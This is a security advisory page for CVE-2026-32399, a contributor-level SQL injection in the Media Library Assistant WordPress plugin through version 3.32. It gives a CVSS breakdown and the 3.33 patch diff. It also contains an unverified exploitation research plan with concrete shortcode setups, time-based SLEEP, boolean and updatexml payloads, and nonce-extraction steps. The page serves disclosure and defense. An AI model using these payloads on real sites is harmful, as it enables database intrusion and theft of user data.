CVE-2026-32399

Media LIbrary Assistant <= 3.32 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.33
Patched in
55d
Time to patch

Description

The Media LIbrary Assistant plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.32 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.32
PublishedFebruary 20, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v3.33

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-32399 (Media Library Assistant) ## 1. Vulnerability Summary The **Media Library Assistant** plugin for WordPress is vulnerable to **Authenticated SQL Injection** via shortcode attributes in versions up to and including **3.32**. The vulnerability exists becau…

Show full research plan

Exploitation Research Plan - CVE-2026-32399 (Media Library Assistant)

1. Vulnerability Summary

The Media Library Assistant plugin for WordPress is vulnerable to Authenticated SQL Injection via shortcode attributes in versions up to and including 3.32. The vulnerability exists because the plugin allows users to map shortcode attributes to URL parameters using the request: prefix, but fails to sufficiently escape or prepare the resulting values before incorporating them into SQL queries. Attackers with Contributor-level permissions can use this to extract sensitive database information via time-based or error-based SQL injection.

2. Attack Vector Analysis

  • Entry Point: The [mla_gallery] or [mla_tag_cloud] shortcode placed within a post or page.
  • Vulnerable Feature: The request: prefix processing for shortcode attributes.
  • Vulnerable Parameter: Attributes like orderby, ids, or meta_query when mapped to a request variable (e.g., orderby="request:sqli_param").
  • Authentication: Authenticated (Contributor+). Contributors can create posts/pages and preview them, which triggers shortcode rendering.
  • Preconditions:
    1. The attacker must have a Contributor account.
    2. The plugin must be active.
    3. At least one attachment (Media Library item) should exist to ensure the gallery logic executes.

3. Code Flow

  1. Entry: A user with Contributor permissions creates a post and inserts a shortcode: [mla_gallery orderby="request:sort"].
  2. Processing: When the post is previewed or viewed, MLAShortcodes::mla_gallery_shortcode() (in includes/class-mla-shortcodes.php) is triggered.
  3. Attribute Mapping: The code calls MLAShortcode_Support::mla_get_shortcode_attachments() (in includes/class-mla-shortcode-support.php).
  4. Request Prefix Logic: The plugin identifies the request: prefix in the orderby attribute. It retrieves the value of $_REQUEST['sort'].
  5. SQL Construction: The retrieved value (e.g., ID, (SELECT SLEEP(5))) is concatenated into the SQL query or passed into a query argument array that MLA uses to build a custom query.
  6. Sink: The malformed SQL is executed via $wpdb->get_results() without sufficient preparation (missing or misused wpdb->prepare()).

4. Nonce Acquisition Strategy

This vulnerability is exploited through shortcode execution on the frontend or during a post preview. Typically, no nonce is required to trigger shortcode rendering once the attacker has permissions to create/edit a post.

However, if an AJAX-based attack against mla-query-attachments is required as an alternative:

  1. Identify Script: The plugin enqueues the mla-inline-edit-scripts (slug defined in MLACore::JAVASCRIPT_INLINE_EDIT_SLUG).
  2. Variable Name: The localized data is typically found in the mla_inline_edit_vars object.
  3. Extraction:
    • Create a post with an MLA shortcode or navigate to the Media Library.
    • Use browser_eval to extract: window.mla_inline_edit_vars?.mla_admin_nonce.
    • The action string for this nonce is MLACore::MLA_ADMIN_NONCE_ACTION (mla_admin_nonce_action).

5. Exploitation Strategy

The most direct method is using the [mla_gallery] shortcode with a time-based payload.

Step 1: Login and Content Setup

  1. Authenticate as a Contributor.
  2. Create a new post/page.
  3. Insert the following shortcode: [mla_gallery mla_output="csv" orderby="request:sqli"].
  4. Publish or Save as Draft. Note the Post ID (e.g., 123).

Step 2: Trigger SQL Injection

Send a request to the post URL with the malicious payload in the sqli parameter.

  • Request:

    GET /?p=123&sqli=ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) HTTP/1.1
    Host: localhost
    Cookie: [Contributor Cookies]
    
  • Payload Analysis:
    The orderby attribute will become ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a).
    The resulting SQL will look like: SELECT ... ORDER BY ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) LIMIT ....
    This is a valid SQL construct that triggers a 5-second delay.

Step 3: Data Extraction (Information Disclosure)

Use boolean-blind or error-based techniques to leak the database version or user hashes.

  • Payload (Database Version):
    sqli=ID,(SELECT(IF(VERSION() LIKE '8%',SLEEP(5),0)))

6. Test Data Setup

  1. User: Contributor (user: attacker, pass: password).
  2. Media: Upload at least one image to the Media Library.
  3. Shortcode Page:
    • Title: SQLi Test
    • Content: [mla_gallery mla_output="csv" orderby="request:inject"]

7. Expected Results

  • A request to /?p=123&inject=ID should return immediately.
  • A request to /?p=123&inject=ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) should take approximately 5 seconds to respond.
  • If mla_output="csv" is used, the response body might contain leaked data if a UNION is possible, though ORDER BY injection usually favors time-based/boolean-blind.

8. Verification Steps

  1. Check Timing: Use the http_request tool to measure the elapsed_time of the request.
  2. WP-CLI check: After testing, confirm the database state is unchanged (since it's a C:H vulnerability, only reading is expected).
    • wp eval "global \$wpdb; echo \$wpdb->last_error;" (to see if recent queries logged errors).

9. Alternative Approaches

  • ids Attribute: Try [mla_gallery ids="request:sqli"].
    • Payload: 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    • This targets the IN clause logic in MLAShortcode_Support::mla_get_shortcode_attachments.
  • mla_tag_cloud: Use [mla_tag_cloud taxonomy="attachment_tag" orderby="request:sqli"].
    • This targets the mla_get_terms function which likely handles its own database queries.
  • Error-Based: Use sqli=ID,updatexml(1,concat(0x7e,version(),0x7e),1) if the site has WP_DEBUG enabled or MLA logs errors to the screen.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Media Library Assistant plugin for WordPress is vulnerable to SQL Injection via shortcode attributes (such as 'orderby', 'fields', or 'ids') in versions up to 3.32. Attackers with Contributor-level permissions or higher can exploit this by using the plugin's 'request:' prefix feature to map shortcode attributes to malicious URL parameters, leading to the execution of arbitrary SQL commands.

Vulnerable Code

// includes/class-mla-shortcode-support.php line 4981
		$no_count = true;
		$count_string = trim( strtolower( (string) $arguments['no_count'] ) );
		$field_array = explode( ',', $arguments['fields'] );

		switch ( $count_string ) {
// ... later in the function, these fields are used to construct SQL queries without sufficient preparation.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/media-library-assistant/3.32/includes/class-mla-shortcode-support.php /home/deploy/wp-safety.org/data/plugin-versions/media-library-assistant/3.33/includes/class-mla-shortcode-support.php
--- /home/deploy/wp-safety.org/data/plugin-versions/media-library-assistant/3.32/includes/class-mla-shortcode-support.php	2026-01-28 01:09:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/media-library-assistant/3.33/includes/class-mla-shortcode-support.php	2026-02-20 00:10:52.000000000 +0000
@@ -4872,6 +4887,49 @@
 	} // mla_get_all_none_term_counts
 
 	/**
+	 * Valid database fields for function mla_get_terms()
+	 *
+	 * @since 3.33
+	 *
+	 * @var	array
+	 */
+	private static $mla_get_terms_fields = array(
+		't.term_id',
+		't.name',
+		't.slug',
+		't.term_group',
+		't.term_icon',
+		'tt.term_taxonomy_id',
+		'tt.term_id',
+		'tt.taxonomy',
+		'tt.description',
+		'tt.parent',
+		'tt.count',
+		'COUNT(p.ID) AS `count`',
+	);
+
+	/**
+	 * Validate database fields in SELECT clause to prevent SQL injection attacks
+	 * 
+	 * @since 3.33
+	 *
+	 * @param	string	comma-separated string of qualified field names, e.g., tt.taxonomy
+	 *
+	 * @return	array	exploded array of validated field names, or false if validation fails
+	 */
+	private static function mla_validate_get_terms_fields( $fields ) {
+		$fields =  array_map( 'trim', explode( ',', $fields ) );
+
+		foreach ( $fields as $index => $field ) {
+			if ( ! in_array( $field, self::$mla_get_terms_fields ) ) {
+				unset( $fields[ $index ] );
+			}
+		}
+
+		return $fields;
+	}
+
+	/**
 	 * Data selection parameters for [mla_tag_cloud], [mla_term_list]
 	 *
 	 * @since 2.20
@@ -4981,7 +5039,7 @@
 		 */
 		$no_count = true;
 		$count_string = trim( strtolower( (string) $arguments['no_count'] ) );
-		$field_array = explode( ',', $arguments['fields'] );
+		$field_array = self::mla_validate_get_terms_fields( $arguments['fields'] );
 
 		switch ( $count_string ) {

Exploit Outline

1. An attacker with Contributor-level access creates or edits a WordPress post or page. 2. The attacker inserts a shortcode from the plugin (e.g., [mla_gallery] or [mla_tag_cloud]) and uses the 'request:' prefix for an attribute that influences the SQL query, such as: [mla_gallery orderby="request:sort_param"]. 3. The attacker views or previews the post, appending the malicious SQL payload to the URL via the specified parameter: /?p=POST_ID&sort_param=ID,(SELECT(SLEEP(5))). 4. The plugin retrieves the value from the $_REQUEST['sort_param'], fails to sanitize it, and concatenates it directly into a SQL query. 5. The database executes the injected SQL (e.g., a time-based SLEEP command), allowing the attacker to infer database contents or extract information.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.